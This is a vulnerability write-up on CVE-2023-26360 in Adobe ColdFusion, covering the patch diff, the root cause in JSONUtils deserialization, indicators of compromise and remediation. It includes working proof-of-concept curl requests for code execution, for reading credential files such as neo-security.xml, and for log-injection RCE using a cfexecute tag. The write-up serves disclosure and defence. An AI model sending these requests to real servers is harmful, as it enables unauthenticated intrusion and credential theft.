Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2023-26360

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Privilege Escalation
Techniques
Validation
Validated

Description

A deserialization of untrusted data vulnerability in Adobe ColdFusion versions  2021 and 2018 leads to arbitrary remote code execution.

Add Assessment

1
Ratings
Technical Analysis

Based on writing an exploit and the AttackerKB Analysis, I can confirm the exploitability of this vulnerability is easy and in a default configuration of the target software.

General Information

Vendors

  • Adobe

Products

  • ColdFusion

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Update #1 – April 3, 2023: Updated analysis to include arbitrary file read as well as unauthenticated remote code execution. Added context around the CVE-2023-26360 and CVE-2023-26359 ambiguity. Added an IOC section.

Update #2 – April 14, 2023: Updated analysis to clarify that this analysis is for the vulnerability CVE-2023-26360 and not CVE-2023-26359. On 12 March 2023, Adobe updated their advisory to re-classify CVE-2023-26360 from an Improper Access Control vulnerability to a Deserialization of Untrusted Data vulnerability. This change, in conjunction with privately reported information regarding CVE-2023-26359, lets us reliably identify the vulnerability described in this analysis as CVE-2023-26360.

Overview

Adobe ColdFusion is a rapid web application development platform. On March 14, 2023, Adobe published an advisory outlining three vulnerabilities that affect ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier. One of the vulnerabilities addressed in this advisory is CVE-2023-26360, a deserialization of untrusted data vulnerability that may lead to arbitrary code execution. This vulnerability has been given a CVSS base score of 9.8 and has a severity rating of Critical.

On March 24, 2023 Rapid7 published a blog highlighting active exploitation of Adobe ColdFusion being detected by Rapid7’s Threat Intelligence and Detection Engineering teams, with occurrences dating back to early January using an unknown vulnerability. This highlights how attackers are actively and consistently targeting ColdFusion, which is a widely deployed platform.

The vulnerability allows an attacker to specify an arbitrary file path to either a Java class, ColdFusion Markup Language (CFML) source file, or an arbitrary non Java file when deserializing the metadata for a TemplateProxy object in the JSONUtils.deserializeJSON method during a _cfclient request. An attacker who can plant a malicious Java class or source file in a predictable location under any filename or extension can leverage this vulnerability to achieve arbitrary code execution. In addition an attacker may leverage the same issue to read arbitrary files from the server. Finally, due to how ColdFusion source files are translated, unauthenticated remote code execution is also possible.

This analysis was performed on Adobe ColdFusion 2021 Update 5 (2021.0.05.330109), running on Windows Server 2022.
Throughout the analysis the ColdFusion Component (CFC) endpoint testing.cfc is used. This endpoint can be replaced with any CFC endpoint an attacker can access, and will depend largely on what web application is installed on top of ColdFusion or how the ColdFusion server is configured. It should be noted that several CFC endpoints are accessible in a default ColdFusion installation even when no third party web application is installed.

Root Cause Analysis

We analyze the patch for this vulnerability by downloading a patched version of ColdFusion 2021, update 6 and a vulnerable version of ColdFusion 2021, update 5. We can decompile both versions using the Java decompiler CFR.

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 C:\cf2021u5\opt\coldfusion\cfusion\lib\cfusion.jar

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 --clobber true C:\\cf2021u5\opt\coldfusion\cfusion\lib\updates\chf20210005.jar

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 C:\\cf2021_u6\opt\coldfusion\cfusion\lib\cfusion.jar

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 --clobber true C:\\cf2021_u6\opt\coldfusion\cfusion\lib\updates\chf20210006.jar

Inspecting these folders for changes we identify the file JSONUtils.java as being of interest, and running a git diff command against the two version of this file will reveal the addition of a variable allowNonCFCDeserialization which prevents a TemplateProxy instance being created during a call to coldfusion.runtime.JSONUtils.convertToTemplateProxy. In addition, the patch also enforces a TemplateProxy to originate from a file name with a .cfc extension.

diff --git "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java" "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java"
index 7bca87f..293fb20 100644
--- "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java"
+++ "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java"
@@ -96,6 +96,7 @@ public class JSONUtils {
     public static final String JS_DATE_FORMAT = "MMMMM, dd yyyy HH:mm:ss";
     private static final Logger logger = CFLogs.SERVER_LOG;
     private static Map<Integer, String> SPECIAL_CHAR_MAP;
+    private static boolean allowNonCFCDeserialization;
     private static final boolean numberAsDouble;
     private static boolean returnCaseSensitiveStruct;
     private static final String CASESENSITIVESTRUCT = "CaseSensitiveStruct";
@@ -1507,6 +1508,9 @@ public class JSONUtils {
                     serverClass = serverClass.substring(contextPath.length());
                 }
                 File pageFile = new File(context.getRealPath(serverClass, true));
+                if (!(!context.isCFClientCall() || allowNonCFCDeserialization || pageFile.exists() && pageFile.getAbsolutePath().endsWith(".cfc"))) {
+                    return null;
+                }
                 TemplateProxy tp = TemplateProxyFactory.resolveFile((NeoPageContext)context.pageContext, (File)pageFile);
                 Object varObj = s.get("_variables");
                 Map map = vars = varObj instanceof Array ? null : (Map)varObj;
@@ -1678,6 +1682,7 @@ public class JSONUtils {
     }

     static {
+        allowNonCFCDeserialization = Boolean.getBoolean("coldfusion.cfclient.allowNonCfc");
         numberAsDouble = Boolean.getBoolean("json.numberasdouble");
         returnCaseSensitiveStruct = false;
         SPECIAL_CHAR_MAP = new HashMap<Integer, String>();

First we must understand why a call to coldfusion.runtime.TemplateProxyFactory.resolveFile may be unsafe and why the addition of a variable allowNonCFCDeserialization and a check pageFile.getAbsolutePath().endsWith(".cfc") was added to prevent exploitation. Then we will identify how an attacker can call this method with attacker controlled data to trigger the issue.

If we inspect convertToTemplateProxy we can see the parameter s is a key-value Map structure. This parameter, we will learn, is attacker-controlled. If the map contains a value with the key _metadata, this metadata value, itself a Map, will be queried for a value with a key of classname. This classname string will be converted into a file path via a call to coldfusion.filter.FusionContext.getRealPath. Finally this file path will be passed to coldfusion.runtime.TemplateProxyFactory.resolveFile. No attempt to sanitize the pageFile path is performed, allowing a malicious path to an arbitrary file to be specified by an attacker, including the use of the double dot path specifier to navigate beneath the C:\ColdFusion2021\cfusion\wwwroot\ if desired.

    private static Map convertToTemplateProxy(Map s) {
        Map ret = s;
        try {
            Object metadata = s.get("_metadata");
            FusionContext context = FusionContext.getCurrent();
            if (metadata != null) {
                Map vars;
                String serverClass = (String)((Map)metadata).get("classname");
                String contextPath = context.getRequest().getContextPath();
                if (!serverClass.startsWith("/")) {
                    serverClass = serverClass.substring(serverClass.indexOf("//") + 2);
                    serverClass = serverClass.substring(serverClass.indexOf("/") + 1);
                }
                if (contextPath != null && !"".equals(contextPath) && serverClass.startsWith(contextPath)) {
                    serverClass = serverClass.substring(contextPath.length());
                }
                File pageFile = new File(context.getRealPath(serverClass, true));
                TemplateProxy tp = TemplateProxyFactory.resolveFile(context.pageContext, pageFile); // <----
                Object varObj = s.get("_variables");
                Map map = vars = varObj instanceof Array ? null : (Map)varObj;
                if (vars != null) {
                    tp.getVariableScope().putAll(vars);
                }
                return tp;
            }
        }
        catch (Throwable throwable) {
            // empty catch block
        }
        return ret;
    }

A call to resolveFile wraps a call to resolveName as shown below. The parameter canonicalResolvedFile is a File instance with an attacker controlled path. This path is passed to coldfusion.runtime.TemplateProxyFactory.getCFCInstance.

    static TemplateProxy resolveName(TemplateProxy proxyInstance, NeoPageContext pageContext, File canonicalResolvedFile, String fullName, boolean origCFC, Map initalThisVars, HashSet derivedClasses, boolean initializeCFC) throws Throwable {
        CfJspPage page;
        AttributeCollection metadata;
        ServletContext servletContext = pageContext.getServletContext();
        if (fullName != null) {
            fullName = fullName.replace('/', '.');
            if ((fullName = fullName.replace('\\', '.')).startsWith(".")) {
                fullName = fullName.substring(fullName.indexOf(".") + 1);
            }
        }
        if ((metadata = (AttributeCollection)(page = TemplateProxyFactory.getCFCInstance(servletContext, canonicalResolvedFile, fullName)).getMetadata()).get(Key.PATH) == null && (String)metadata.get(Key.NAME) == "application") { // <----
            metadata.put(Key.NEWLY_COMPILED, (Object)"true");
        }

In getCFCInstance we can see the attacker-controlled path is passed to TemplateClassLoader.newInstance.

    private static CfJspPage getCFCInstance(ServletContext servletContext, File canonicalFile, String fullName) throws Exception {
        CfJspPage page;
        if (System.getSecurityManager() != null) {
            page = (CfJspPage)AccessController.doPrivileged(new TemplateClassLoaderPrivilege(servletContext, canonicalFile, null));
            if (fullName != null && !fullName.equals(BASE_COMPONENT_NAME)) {
                if (VFSFileFactory.checkIfVFile(canonicalFile.getPath())) {
                    AccessController.checkPermission(new VFilePermission(canonicalFile.getPath(), "read"));
                } else {
                    AccessController.checkPermission(new FilePermission(canonicalFile.getPath(), "read"));
                }
            }
        } else {
            page = TemplateClassLoader.newInstance(servletContext, canonicalFile.getPath(), null); // <----
        }
        return page;
    }

And in newInstance we can see the attacker-controlled path is passed to coldfusion.runtime.TemplateClassLoader.findClass, which will return a Class instance that represents the loaded class in the Java Virtual Machine (JVM). We can then see an instance of this class is constructed via a call to c.getDeclaredConstructor(new Class[0]).newInstance.

   public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs) throws Exception {
        return TemplateClassLoader.newInstance(application, realPath, vs, null); // <----
    }

    public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs, LocalScope ls) throws Exception {
        Class c = TemplateClassLoader.findClass(application, realPath); // <----
        if (c == null) {
            String upperFilePath = realPath.toUpperCase();
            if (upperFilePath.endsWith(".CFC")) {
                throw new CfJspPage.NoSuchTemplateException(realPath);
            }
            throw new TemplateNotFoundException(realPath);
        }
        Object obj = c.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]); // <----

The method findClass will try to pull out a Class instance from a cache called classCache using the file path as the key.

    public static Class findClass(ServletContext application, String realPath) throws IOException {
        long lastModTime;
        long compiledTime;
        if (translator == null) {
            Class<TemplateClassLoader> clazz = TemplateClassLoader.class;
            // MONITORENTER : coldfusion.runtime.TemplateClassLoader.class
            if (translator == null) {
                translator = new NeoTranslator(application);
                translator.setSaveClasses(saveClassFiles);
                runtimeService = ServiceFactory.getRuntimeService();
                classCache.setSize(runtimeService.getTemplateCacheSize());
                classDir = new File(TemplateClassLoader.translator.outputDir);
            }
            // MONITOREXIT : clazz
        }
        if (runtimeService.isCommandLineCompile() && (compiledTime = TemplateClassLoader.getLastCompiledTime(realPath)) != (lastModTime = TemplateClassLoader.getLastModifiedTime(realPath))) {
            classCache.remove(realPath);
        }
        Class c = (Class)classCache.get(realPath); // <----

The cache is of type coldfusion.runtime.TemplateClassLoader.TemplateCache, which inherits from coldfusion.util.SoftCache. We can see below that if a call to get returns a null reference, occurring when a file path is loaded for the first time, then a call to fetch is performed.

// coldfusion.util.SoftCache
    public Object get(Object key) {
        if (this.stats == Stats.FALSE || this.stats == Stats.RUNTIME && !statsEnabled) {
            return this.get_statsOff(key); // <----
        }
        return this.get_statsOn(key);
    }

    private Object get_statsOff(Object key) {
        Object value;
        ValueRef ref = this.map.get(key);
        if (ref != null && (value = ref.get()) != null) {
            return value instanceof Null ? null : value;
        }
        this.reap();
        value = this.fetch(key); // <----

fetch as implemented in TemplateCache will use the ColdFusion compiler NeoTranslator to translate the files contents into a Java class via a call to coldfusion.compiler.NeoTranslator.translateJava.

    private static class TemplateCache
    extends SoftCache {
        private static TemplateChecker tc = null;
        final LruCache secondary = new LruCache(){

            @Override
            protected Object fetch(Object file) {
                try {
                    Class<?> c;
                    Map classBytes;
                    File canonicalFile = (File)file;
                    if (tc != null && !tc.check(canonicalFile)) {
                        return null;
                    }
                    String className = NeoTranslator.getClassName(canonicalFile);
                    byte[] bytes = null;
                    if (saveClassFiles && translator.isNewPage(canonicalFile.getPath())) {
                        long sourceModTime = -1L;
                        try {
                            if (System.getSecurityManager() == null) {
                                bytes = TemplateClassLoader.getClassBytes(className);
                            } else {
                                try {
                                    final String tempClassName = className;
                                    bytes = (byte[])AccessController.doPrivileged(new PrivilegedExceptionAction(){

                                        public Object run() throws Exception {
                                            return TemplateClassLoader.getClassBytes(tempClassName);
                                        }
                                    });
                                }
                                catch (PrivilegedActionException e) {
                                    throw new IOException(e.getLocalizedMessage());
                                }
                            }
                            sourceModTime = new ClassReader(bytes).getSourceModTime();
                        }
                        catch (IOException e) {
                            // empty catch block
                        }
                        if (sourceModTime != -1L) {
                            translator.setSourceLastModified(canonicalFile.getPath(), sourceModTime);
                        }
                        classBytes = translator.translateJava(canonicalFile.getPath(), false); // <----
                    } else {
                        classBytes = translator.translateJava(canonicalFile.getPath(), true);
                    }

Finally translateJava will perform one of two operations. If the file to be loaded is a Java Class binary, as identified by inspecting the first four bytes for the magic value 0xCAFEBABE, then this class file will be loaded. If it is not a class file, the file will be compiled on the fly as source code for a Java ColdFusion component or module.

The root cause of the vulnerability lies in convertToTemplateProxy. We can see that this vulnerable method is called during coldfusion.runtime.JSONUtils.parseObject as shown below, which itself is called during JSONUtils.deserializeJSON. By default deserializeToTemplateProxy will be false, so to reach the vulnerable convertToTemplateProxy method, the HTTP request must be a _cfclient request in order to satisfy the isCFClientCall check. A _cfclient request is identified by having the parameter _cfclient=true present in the request URL.

    private static Object parseObject(ParserState state) {
        Object cfml;
        JSONUtils.walkWhitespace(state);
        switch (state.currentChar()) {
            case '{': {
                cfml = JSONUtils.parseStruct(state);
                FusionContext fc = FusionContext.getCurrent();
                CFComparable cfmlStruct = returnCaseSensitiveStruct ? (CaseSensitiveStruct)cfml : (Struct)cfml;
                if (fc != null && (fc.isCFClientCall() || state.deserializeToTemplateProxy) && cfmlStruct.get("_metadata") != null) {
                    if (returnCaseSensitiveStruct) {
                        cfml = JSONUtils.convertToTemplateProxy((CaseSensitiveStruct)cfml); // <----
                        break;
                    }
                    cfml = JSONUtils.convertToTemplateProxy((Struct)cfml); // <----
                    break;
                }

From reviewing the above we can see that calling JSONUtils.deserializeJSON with attacker-controlled JSON input during a _cfclient request will result in an attacker-specified file being instantiated as a Java class after being processed by the NeoTranslator compiler.
How this vulnerability is exploited depends on what type of file is being translated to a Java class via the NeoTranslator compiler. There are 3 strategies an attacker may employ:

  1. An attacker can execute arbitrary code by planting a malicious Java class file on disk. The attacker may provide an arbitrary path to any file on the local file system, and the file may have an arbitrary extension — i.e., it can end in .txt, .log, .xml or any other extension and does not need to be .cfc. An attacker will need to leverage a separate technique to plant a malicious file in a predictable location before being able to leverage the vulnerability in this way.
  2. An attacker can read arbitrary files if the file is not a Java class or CFML source file.
  3. An attacker may achieve remote code execution by inserting CFML tags into an existing file, such as a log file, and then causing this log file to be translated by the NeoTranslator compiler.

All three methods of exploitation are described in detail below.

Triggering the Vulnerability

Searching for calls to the vulnerable JSONUtils.deserializeJSON method reveals the invoke method in the coldfusion.filter.ComponentFilter class. This class is part of a filter chain in the CFCServlet class. The filter chain is a series of filter classes that process, in sequence, all incoming HTTP requests to ColdFusion Component (CFC) files. The configuration for this servlet is specified in the file C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\web.xml which contains the following URL pattern mapping.

    <servlet-mapping id="coldfusion_mapping_4">
        <servlet-name>CFCServlet</servlet-name>
        <url-pattern>*.cfc</url-pattern>
    </servlet-mapping>
	<servlet-mapping id="coldfusion_mapping_18">
        <servlet-name>CFCServlet</servlet-name>
        <url-pattern>*.CFC</url-pattern>
    </servlet-mapping>
	<servlet-mapping id="coldfusion_mapping_19">
        <servlet-name>CFCServlet</servlet-name>
        <url-pattern>*.Cfc</url-pattern>
    </servlet-mapping>

Therefore, an HTTP request to a CFC file on the server will be processed by the ComponentFilter class.

We can see below in ComponentFilter.invoke that if a URL parameter called _cfclient is set to true, then all further calls to isCFClientCall will be true, which is a requirement for triggering the vulnerability in coldfusion.runtime.JSONUtils.parseObject as previously discussed. The parameters passed in the request are retrieved via FilterUtils.GetArgumentCollection, and an attacker-controlled parameter _variables is deserialized via the vulnerable JSONUtils.deserializeJSON method with attacker-controlled data.

package coldfusion.filter;

We can see below that if the URL in the request
public class ComponentFilter extends FusionFilter {

    public void invoke(FusionContext context) throws Throwable {
        // ...
                if ((cfClientCall = (String)(urlScope = (UrlScope)context.hiddenScope.get("URL")).get("_cfclient")) != null && Cast._boolean(cfClientCall)) {
                    context.setCfclientCall(true);
                }
                Map args = FilterUtils.GetArgumentCollection(context);
                Struct cloneVars = new Struct();
                if (context.isCFClientCall()) {
                    String name;
                    String type;
                    AttributeCollection attr;
                    int i;
                    args.remove("_cfclient");
                    args.remove("_metadata");
                    Map vars = (Map)JSONUtils.deserializeJSON(args.remove("_variables")); // <----

PoC – Arbitrary Code Execution

To demonstrate exploitation we will manually plant a malicious Java class in a predictable location with an unassuming file extension, C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp. As previously discussed, this vulnerability requires the attacker to have this capability either through a separate vulnerability chained with this vulnerability, or by leveraging a web application-specific feature of the target application running on top of ColdFusion.

First we create a simple Java class that will execute Notepad via a static code block.

import java.io.*;

public class hax
{
	static {
		try {
			Runtime.getRuntime().exec("c:\\windows\\notepad.exe");
		  }
		  catch(IOException e) { }			
	}
}

We can compile this class using javac and plant it in an expected location with an extension of .tmp.

C:\ColdFusion2021\jre\bin\javac hax.java
copy hax.class C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp

Finally, an HTTP request to a CFC endpoint on the target will load the class.

curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true -X POST --data "_variables={\"_metadata\":{\"classname\":\"\\..\\runtime\\work\\Catalina\\localhost\\tmp\\hax.tmp\"},\"_variables\":{}}" -H "Content-Type: application/x-www-form-urlencoded"

Notepad will now execute with local system privileges.

PoC – Arbitrary File Read

We can leverage the vulnerability to read an arbitrary file from the server. When creating a TemplateProxy instance via TemplateProxyFactory.resolveFile with an arbitrary attacker-supplied path, if the path points to a file that is neither a Java class file nor a valid source file, the NeoTranslator compiler will generate a coldfusion.runtime.CFPage class that emits the entire contents of the file to the pages output stream. This will in turn write the contents of the file to the HTTP responses output stream and will be appended the HTTP responses content data after a successful request completes.

A requirement for leveraging the vulnerability to read an arbitrary file is the attacker must call both a valid CFC endpoint and a valid remote CFC method in order for the HTTP response to contain the output of the arbitrary file to be read. If the CFC endpoint or the CFC method being called is not valid, the response will not include the arbitrary files content, instead only including an error message.

For example, to read the configuration file neo-security.xml, which will contain ColdFusion usernames and passwords, the following request can be issued:

curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"_metadata\":{\"classname\":\"\\..\\lib\\neo-security.xml\",\"_variables\":[]}}"

We can observe that after the request completes, the file neo-security.xml has been translated into a Java class stored in the folder C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfneo2dsecurity2exml1272981206.class. This class, when instantiated, emits the files original contents.

If we decompile this class we can see how ColdFusion has generated a new class, inheriting from CFPage, which in turn will inherit from CfJspPage, to emit the files original contents (Note: sensitive values have been redacted below).

import coldfusion.runtime.AttributeCollection;
import coldfusion.runtime.CFPage;
import coldfusion.runtime.CfJspPage;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.tagext.Tag;

public final class cfneo2dsecurity2exml1272981206 extends CFPage {
  public static final Object metaData = new AttributeCollection(new Object[] { "Functions", new Object[0], "Properties", new Object[0] });
  
  public final Object getMetadata() {
    return metaData;
  }
  
  protected final Object runPage() {
    out = ((CfJspPage)this).pageContext.getOut();
    parent = ((CfJspPage)this).parent;
    ((CfJspPage)this).pageContext.setPageEncoding("Cp1252");
    out.write("<wddxPacket version='1.0'><header/><data><struct type='coldfusion.server.ConfigMap'><var name='AuthorizedUsers'><struct type='coldfusion.util.FastHashtable'><var name='TestUser'><struct type='java.util.HashMap'><var name='password'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='salt'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='roles'><array length='3'><string>coldfusion.datasources</string><string>coldfusion.administrator</string><string>coldfusion.adminapi</string></array></var><var name='description'><string>test user 1</string></var><var name='sandboxes'><array length='0'></array></var><var name='exposedServices'><array length='1'><string>htmltopdf</string></array></var><var name='username'><string>TestUser</string></var></struct></var></struct></var><var name='admin.userid.root'><string>admin</string></var><var name='CrossSiteScriptPatterns'><struct type='coldfusion.server.ConfigMap'><var name='&lt;\\s*(object|embed|script|applet|meta)'><string>&lt;InvalidTag</string></var></struct></var><var name='admin.userid.root.salt'><string>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</string></var><var name='rds.enabled'><string>false</string></var><var name='allowconcurrentadminlogin'><boolean value='false'/></var><var name='cfadmin.cookieidentifier'><string>XXXXXXXXXX</string></var><var name='allowedAdminIPList'><string>127.0.0.1</string></var><var name='contexts'><struct type='coldfusion.server.ConfigMap'><var name='/'><struct type='coldfusion.server.ConfigMap'></struct></var></struct></var><var name='admin.security.enabled'><boolean value='true'/></var><var name='admin.userid.required'><boolean value='true'/></var><var name='secureprofile.enabled'><boolean value='true'/></var><var name='rds.security.enabled'><string>true</string></var><var name='sbs.security.enabled'><boolean value='false'/></var><var name='rds.security.usesinglerdspassword'><boolean value='false'/></var></struct></data></wddxPacket>");
    return null;
  }
}

We can note the runPage method must be called for the files contents to be emitted. We have previously seen that coldfusion.runtime.TemplateProxyFactory.getCFCInstance will create the instance. Subsequently a call to coldfusion.runtime.TemplateProxyFactory.resolveComponentHelper will call invoke on the new pages filter chain, which ends with a call to coldfusion.runtime.CfJspPage.invoke as shown below. This will call runPage and the contents of the arbitrary file will be emitted to the pages output stream.

package coldfusion.runtime;

public abstract class CfJspPage extends FusionFilter implements Metadata, Cloneable {

    public void invoke(FusionContext context) throws Throwable {
        String oldPagePath = context.getPagePath();
        NeoPageContext oldPageContext = context.pageContext;
        context.setPagePath(this.getPagePath());
        context.pageContext = this.pageContext;
        try {
            if (!(this instanceof CFInterface)) {
                RequestMonitorData rmd = null;
                if (Configuration.INSTANCE.isCodeProfilerOn()) {
                    rmd = RequestMonitorData.getCurrent();
                }
                CFStack cfStack = null;
                if (rmd != null) {
                    cfStack = rmd.getCFStack();
                }
                if (cfStack != null) {
                    cfStack.pushStackFrame(this.getPagePath(), null, oldPageContext.getCurrentLineNo(), true);
                }
                context.returnValue = this.runPage(); // <----

PoC – Remote Code Execution

We can leverage this vulnerability to achieve unauthenticated remote code execution. We know the NeoTranslator will translate the contents of an arbitrary file the attacker can specify. And as we have seen above, this can be leveraged to either load a binary Java class or to read the arbitrary contents on a non-Java class or non-ColdFusion Markup Language (CFML) file. However, if we can insert arbitrary CFML tags into an existing file and then translate this file, we can achieve arbitrary remote code execution.

This is possible by performing an HTTP request with data containing arbitrary CFML tags, and in such a way that the contents of this data will be logged to a ColdFusion log file, specifically C:\ColdFusion2021\cfusion\logs\coldfusion-out.log. If we then translate the coldfusion-out.log file, we will execute the instructions specified in the arbitrary CFML tags present in the log file. We can achieve the above by providing arbitrary CFML tags inside an invalid JSON object.

For example, in the below request note the first item in the JSON object starts with a < character and not an expected character.

curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={<cfexecute name='c:\windows\notepad.exe'></cfexecute>"

Upon issuing the above request the following error message is written to the coldfusion-out.log file:

Apr 3, 2023 12:16:26 PM Error [http-nio-8500-exec-7] - JSON parsing failure: Expected '""' at character 2:'<' in {<cfexecute name='c:\windows\notepad.exe'></cfexecute> The specific sequence of files included or processed is: C:\ColdFusion2021\cfusion\wwwroot\testing.cfc''

We can note the CFML tag cfexecute is now present in the log file. This tag will execute the notepad.exe application if this CFML is run.

Therefore to run the attacker controlled CFML present in the log file the following request can be made:

curl -v -k http://127.0.0.1:8500/testing.cfc?method=foo^&_cfclient=true -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"_metadata\":{\"classname\":\"\\..\\logs\\coldfusion-out.log\",\"_variables\":[]}}"

Upon processing this request, ColdFusion will translate the log file as CFML and execute the translated Java via the runPage method of the newly translated class, which in turn will execute notepad.exe with local system privileges.

The translated log file will be present in the cfclasses folder under the name cfcoldfusion2dout2elog376354580.class. If we inspect this class in a decompiler we can see the runPage method as generated by the NeoTranslator compiler.

import coldfusion.runtime.AttributeCollection;
import coldfusion.runtime.CFPage;
import coldfusion.runtime.CfJspPage;
import coldfusion.tagext.lang.ExecuteTag;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.tagext.Tag;

public final class cfcoldfusion2dout2elog376354580 extends CFPage {
  static final Class class$coldfusion$tagext$lang$ExecuteTag = Class.forName("coldfusion.tagext.lang.ExecuteTag");
  
  public static final Object metaData = new AttributeCollection(new Object[] { "Functions", new Object[0], "Properties", new Object[0] });
  
  public final Object getMetadata() {
    return metaData;
  }
  
  protected final Object runPage() {
    out = ((CfJspPage)this).pageContext.getOut();
    parent = ((CfJspPage)this).parent;
    ((CfJspPage)this).pageContext.setPageEncoding("Cp1252");
    out.write("Apr 3, 2023 12:19:44 PM Information [scheduler-0] - Run Client Storage Purge\r\nApr 3, 2023 12:22:46 PM Error [http-nio-8500-exec-2] - JSON parsing failure: Expected '\"\"' at character 2:'<' in {");
    execute0 = (ExecuteTag)_initTag(class$coldfusion$tagext$lang$ExecuteTag, 0, parent);
    _setCurrentLineNo(2);
    execute0.setName("c:\\windows\\notepad.exe"); // <----
    execute0.hasEndTag(true);
    try {
      if ((mode0 = execute0.doStartTag()) != 0) // <---- spawn notepad.exe
        do {
        
        } while (execute0.doAfterBody() != 0); 
      if (execute0.doEndTag() == 5) {
        t6 = null;
        execute0.doFinally();
        return t6;
      } 
      execute0.doFinally();
    } catch (Throwable throwable) {
      execute0.doCatch(throwable);
      execute0.doFinally();
    } catch (Throwable throwable) {
      execute0.doFinally();
      throw throwable;
    } 
    out.write(" The specific sequence of files included or processed is: C:\\ColdFusion2021\\cfusion\\wwwroot\\testing.cfc''\r\n");
    return null;
  }
}

If we inspect the implementation of coldfusion.tagext.lang.ExecuteTag.doStartTag we can see it executes the attacker-supplied command via Runtime.getRuntime().exec.

It should be noted that the attacker will need to target a valid CFC endpoint (our example above targeted testing.cfc), but the method being targeted (foo in our example above) does not need to be a valid CFC function marked for remote access. The method may be an arbitrary value as the vulnerability will be triggered before the method is discovered to be non-existent.

Indicators of Compromise

If the vulnerability has been leveraged to read arbitrary files or perform remote code execution, there may be evidence of this remaining in the cfclasses folder for the affected ColdFusion installation, e.g., C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses. This folder is expected to cache classes for compiled CFC or CFM source files.

For example, if the file neo-security.xml was read, a class file will be in the cfclasses folder with a name of cfneo2dsecurity2exml1272981206.class.

If the file coldfusion-out.log was leveraged during remote code execution, a class file will be in the cfclasses folder with a name of cfcoldfusion2dout2elog376354580.class.

Note: The number prepended to the .class extension is a hash code and may differ depending on the ColdFusion installation.

Examining the cfclasses folder for files that do not contain 2ecfc or 2ecfm may indicate that arbitrary files have been read or remote code execution has been performed. You can examine the decompiled contents of these files to understand the operation that was performed.

It should be noted that the attacker may have deleted these files after a successful compromise.

Guidance

To successfully remediate against this vulnerability the latest updates for ColdFusion should be applied, specifically:

  • ColdFusion 2021 Update 6 or later
  • ColdFusion 2018 Update 16 or later